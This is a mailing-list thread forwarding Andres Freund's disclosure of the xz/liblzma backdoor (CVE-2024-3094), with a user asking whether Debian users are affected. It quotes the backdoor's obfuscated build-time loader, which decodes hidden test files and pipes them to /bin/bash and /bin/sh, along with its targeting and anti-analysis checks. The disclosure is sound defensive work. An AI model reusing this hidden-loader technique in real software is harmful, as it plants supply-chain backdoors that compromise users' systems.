so is this a threat to us normal debian users if so how do we fix it On Sat, 30 Mar 2024, Jeffrey Walton wrote:
> It looks like more analysis has revealed this is a RCE with the > payload in the modulus of a public key: "The payload is extracted from > the N value (the public key) passed to RSA_public_decrypt, checked > against a simple fingerprint, and decrypted with a fixed ChaCha20 key > before the Ed448 signature verification..." Also see > <https://www.openwall.com/lists/oss-security/2024/03/30/36>. > > On Fri, Mar 29, 2024 at 1:52 PM Jeffrey Walton <noloa...@gmail.com> wrote: >> >> Seems relevant since Debian adopted xz about 10 years ago. >> >> ---------- Forwarded message --------- >> From: Andres Freund <and...@anarazel.de> >> Date: Fri, Mar 29, 2024 at 12:10 PM >> Subject: [oss-security] backdoor in upstream xz/liblzma leading to ssh >> server compromise >> To: <oss-secur...@lists.openwall.com> >> >> Hi, >> >> After observing a few odd symptoms around liblzma (part of the xz package) on >> Debian sid installations over the last weeks (logins with ssh taking a lot of >> CPU, valgrind errors) I figured out the answer: >> >> The upstream xz repository and the xz tarballs have been backdoored. >> >> At first I thought this was a compromise of debian's package, but it turns >> out >> to be upstream. >> >> == Compromised Release Tarball == >> >> One portion of the backdoor is *solely in the distributed tarballs*. For >> easier reference, here's a link to debian's import of the tarball, but it is >> also present in the tarballs for 5.6.0 and 5.6.1: >> >> https://salsa.debian.org/debian/xz-utils/-/blob/debian/unstable/m4/build-to-host.m4?ref_type=heads#L63 >> >> That line is *not* in the upstream source of build-to-host, nor is >> build-to-host used by xz in git. However, it is present in the tarballs >> released upstream, except for the "source code" links, which I think github >> generates directly from the repository contents: >> >> https://github.com/tukaani-project/xz/releases/tag/v5.6.0 >> https://github.com/tukaani-project/xz/releases/tag/v5.6.1 >> >> >> This injects an obfuscated script to be executed at the end of configure. >> This >> script is fairly obfuscated and data from "test" .xz files in the repository. >> >> >> This script is executed and, if some preconditions match, modifies >> $builddir/src/liblzma/Makefile to contain >> >> am__test = bad-3-corrupt_lzma2.xz >> ... >> am__test_dir=$(top_srcdir)/tests/files/$(am__test) >> ... >> sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1 >> >> >> which ends up as >> ...; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr " >> \-_" " _\-" | xz -d | /bin/bash >/dev/null 2>&1; ... >> >> Leaving out the "| bash" that produces >> >> ####Hello#### >> #�Z�.hj� >> eval `grep ^srcdir= config.status` >> if test -f ../../config.status;then >> eval `grep ^srcdir= ../../config.status` >> srcdir="../../$srcdir" >> fi >> export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c >> +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && >> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head >> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && >> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head >> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && >> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head >> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && >> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head >> -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && >> head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head >> -c +1024 >/dev/null) && head -c +724)";(xz -dc >> $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c >> +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" >> "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh >> ####World#### >> >> After de-obfuscation this leads to the attached injected.txt. >> >> >> == Compromised Repository == >> >> The files containing the bulk of the exploit are in an obfuscated form in >> tests/files/bad-3-corrupt_lzma2.xz >> tests/files/good-large_compressed.lzma >> committed upstream. They were initially added in >> https://github.com/tukaani-project/xz/commit/cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0 >> >> Note that the files were not even used for any "tests" in 5.6.0. >> >> >> Subsequently the injected code (more about that below) caused valgrind errors >> and crashes in some configurations, due the stack layout differing from what >> the backdoor was expecting. These issues were attempted to be worked around >> in 5.6.1: >> >> https://github.com/tukaani-project/xz/commit/e5faaebbcf02ea880cfc56edc702d4f7298788ad >> https://github.com/tukaani-project/xz/commit/72d2933bfae514e0dbb123488e9f1eb7cf64175f >> https://github.com/tukaani-project/xz/commit/82ecc538193b380a21622aea02b0ba078e7ade92 >> >> For which the exploit code was then adjusted: >> https://github.com/tukaani-project/xz/commit/6e636819e8f070330d835fce46289a3ff72a7b89 >> >> Given the activity over several weeks, the committer is either directly >> involved or there was some quite severe compromise of their >> system. Unfortunately the latter looks like the less likely explanation, >> given >> they communicated on various lists about the "fixes" mentioned above. >> >> >> Florian Weimer first extracted the injected code in isolation, also attached, >> liblzma_la-crc64-fast.o, I had only looked at the whole binary. Thanks! >> >> >> == Affected Systems == >> >> The attached de-obfuscated script is invoked first after configure, where it >> decides whether to modify the build process to inject the code. >> >> These conditions include targeting only x86-64 linux: >> if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && >> (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then >> >> Building with gcc and the gnu linker >> if test "x$GCC" != 'xyes' > /dev/null 2>&1;then >> exit 0 >> fi >> if test "x$CC" != 'xgcc' > /dev/null 2>&1;then >> exit 0 >> fi >> LDv=$LD" -v" >> if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then >> exit 0 >> >> Running as part of a debian or RPM package build: >> if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then >> >> Particularly the latter is likely aimed at making it harder to reproduce the >> issue for investigators. >> >> >> Due to the working of the injected code (see below), it is likely the >> backdoor >> can only work on glibc based systems. >> >> >> Luckily xz 5.6.0 and 5.6.1 have not yet widely been integrated by linux >> distributions, and where they have, mostly in pre-release versions. >> >> >> == Observing Impact on openssh server == >> >> With the backdoored liblzma installed, logins via ssh become a lot slower. >> >> time ssh nonexistant@localhost >> >> before: >> nonexistant@localhost: Permission denied (publickey). >> >> before: >> real 0m0.299s >> user 0m0.202s >> sys 0m0.006s >> >> after: >> nonexistant@localhost: Permission denied (publickey). >> >> real 0m0.807s >> user 0m0.202s >> sys 0m0.006s >> >> >> openssh does not directly use liblzma. However debian and several other >> distributions patch openssh to support systemd notification, and libsystemd >> does depend on lzma. >> >> >> Initially starting sshd outside of systemd did not show the slowdown, despite >> the backdoor briefly getting invoked. This appears to be part of some >> countermeasures to make analysis harder. >> >> Observed requirements for the exploit: >> a) TERM environment variable is not set >> b) argv[0] needs to be /usr/sbin/sshd >> c) LD_DEBUG, LD_PROFILE are not set >> d) LANG needs to be set >> e) Some debugging environments, like rr, appear to be detected. Plain gdb >> appears to be detected in some situations, but not others >> >> To reproduce outside of systemd, the server can be started with a clear >> environment, setting only the required variable: >> >> env -i LANG=en_US.UTF-8 /usr/sbin/sshd -D >> >> >> In fact, openssh does not need to be started as a server to observe the >> slowdown: >> >> slow: >> env -i LANG=C /usr/sbin/sshd -h >> >> (about 0.5s on my older system) >> >> >> fast: >> env -i LANG=C TERM=foo /usr/sbin/sshd -h >> env -i LANG=C LD_DEBUG=statistics /usr/sbin/sshd -h >> ... >> >> (about 0.01s on the same system) >> >> >> It's possible that argv[0] other /usr/sbin/sshd also would have effect - >> there >> are obviously lots of servers linking to libsystemd. >> >> >> == Analyzing the injected code == >> >> I am *not* a security researcher, nor a reverse engineer. There's lots of >> stuff I have not analyzed and most of what I observed is purely from >> observation rather than exhaustively analyzing the backdoor code. >> >> To analyze I primarily used "perf record -e intel_pt//ub" to observe where >> execution diverges between the backdoor being active and not. Then also gdb, >> setting breakpoints before the divergence. >> >> >> The backdoor initially intercepts execution by replacing the ifunc resolvers >> crc32_resolve(), crc64_resolve() with different code, which calls >> _get_cpuid(), injected into the code (which previously would just be static >> inline functions). In xz 5.6.1 the backdoor was further obfuscated, removing >> symbol names. >> >> These functions get resolved during startup, because sshd is built with >> -Wl,-z,now, leading to all symbols being resolved early. If started with >> LD_BIND_NOT=1 the backdoor does not appear to work. >> >> >> Below crc32_resolve() _get_cpuid() does not do much, it just sees that a >> 'completed' variable is 0 and increments it, returning the normal cpuid >> result >> (via a new _cpuid()). It gets to be more interesting during crc64_resolve(). >> >> In the second invocation crc64_resolve() appears to find various information, >> like data from the dynamic linker, program arguments and environment. Then it >> perform various environment checks, including those above. There are other >> checks I have not fully traced. >> >> If the above decides to continue, the code appears to be parsing the symbol >> tables in memory. This is the quite slow step that made me look into the >> issue. >> >> >> Notably liblzma's symbols are resolved before many of the other libraries, >> including the symbols in the main sshd binary. This is important because >> symbols are resolved, the GOT gets remapped read-only thanks to -Wl,-z,relro. >> >> >> To be able to resolve symbols in libraries that have not yet loaded, the >> backdoor installs an audit hook into the dynamic linker, which can be >> observed >> with gdb using >> watch _rtld_global_ro._dl_naudit >> It looks like the audit hook is only installed for the main binary. >> >> That hook gets called, from _dl_audit_symbind, for numerous symbols in the >> main binary. It appears to wait for "rsa_public_decr...@got.plt" to be >> resolved. When called for that symbol, the backdoor changes the value of >> rsa_public_decr...@got.plt to point to its own code. It does not do this via >> the audit hook mechanism, but outside of it. >> >> For reasons I do not yet understand, it does change sym.st_value *and* the >> return value of from the audit hook to a different value, which leads >> _dl_audit_symbind() to do nothing - why change anything at all then? >> >> After that the audit hook is uninstalled again. >> >> It is possible to change the got.plt contents at this stage because it has >> not >> (and can't yet) been remapped to be read-only. >> >> >> I suspect there might be further changes performed at this stage. >> >> >> == Impact on sshd == >> >> The prior section explains that rsa_public_decr...@got.plt was redirected to >> point into the backdoor code. The trace I was analyzing indeed shows that >> during a pubkey login the exploit code is invoked: >> >> sshd 1736357 [010] 714318.734008: 1 branches:uH: >> 5555555ded8c ssh_rsa_verify+0x49c (/usr/sbin/sshd) => >> 5555555612d0 RSA_public_decrypt@plt+0x0 (/usr/sbin/sshd) >> >> The backdoor then calls back into libcrypto, presumably to perform >> normal authentication >> >> sshd 1736357 [010] 714318.734009: 1 branches:uH: >> 7ffff7c137cd [unknown] >> (/usr/lib/x86_64-linux-gnu/liblzma.so.5.6.0) => 7ffff792a2b0 >> RSA_get0_key+0x0 (/usr/lib/x86_64-linux-gnu/libcrypto.so.3) >> >> >> I have not yet analyzed precisely what is being checked for in the injected >> code, to allow unauthorized access. Since this is running in a >> pre-authentication context, it seems likely to allow some form of access or >> other form of remote code execution. >> >> I'd upgrade any potentially vulnerable system ASAP. >> >> >> == Bug reports == >> >> Given the apparent upstream involvement I have not reported an upstream >> bug. As I initially thought it was a debian specific issue, I sent a more >> preliminary report to secur...@debian.org. Subsequently I reported the issue >> to distros@. CISA was notified by a distribution. >> >> Red Hat assigned this issue CVE-2024-3094. >> >> >> == Detecting if installation is vulnerable == >> >> Vegard Nossum wrote a script to detect if it's likely that the ssh binary on >> a >> system is vulnerable, attached here. Thanks! >> >> >> Greetings, >> >> Andres Freund >
